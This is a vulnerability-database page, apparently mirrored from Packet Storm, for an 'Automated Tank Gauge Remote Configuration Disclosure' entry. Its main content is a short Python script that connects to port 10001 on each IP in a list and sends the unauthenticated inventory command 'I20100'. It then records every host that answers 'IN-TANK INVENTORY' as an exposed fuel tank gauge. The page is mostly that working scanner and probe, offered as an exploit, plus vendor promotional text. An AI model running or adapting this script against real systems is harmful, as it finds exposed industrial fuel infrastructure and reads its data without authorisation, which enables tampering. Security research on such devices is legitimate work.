Lucene search
K

Automated Tank Gauge (ATG) Remote Configuration Disclosure

🗓️ 03 Nov 2022 00:00:00Reported by RoseSecurityType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 267 Views

Automated Tank Gauge Remote Configuration Disclosur

Code
`#!/usr/bin/env python3  
  
  
import time  
import socket   
with open("/tmp/ATG_SCAN.txt",'r') as atg_file:  
for line in atg_file.read().splitlines():  
try:  
atg_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
port = 10001  
search_str = 'IN-TANK INVENTORY'   
msg = str('\x01' + 'I20100' + '\n').encode('ascii')  
atg_socket.connect((line, port))  
atg_socket.send(msg)  
time.sleep(.25)  
response = atg_socket.recv(1024).decode()  
if search_str in response:  
with open("/tmp/ATG_DEVICES.txt", 'a') as file2:  
file2.write(line + "\t ->\tATG Device\n")  
else:  
continue  
atg_socket.close()   
except:  
pass   
atg_file.close()  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Nov 2022 00:00Current
0.8Low risk
Vulners AI Score0.8
267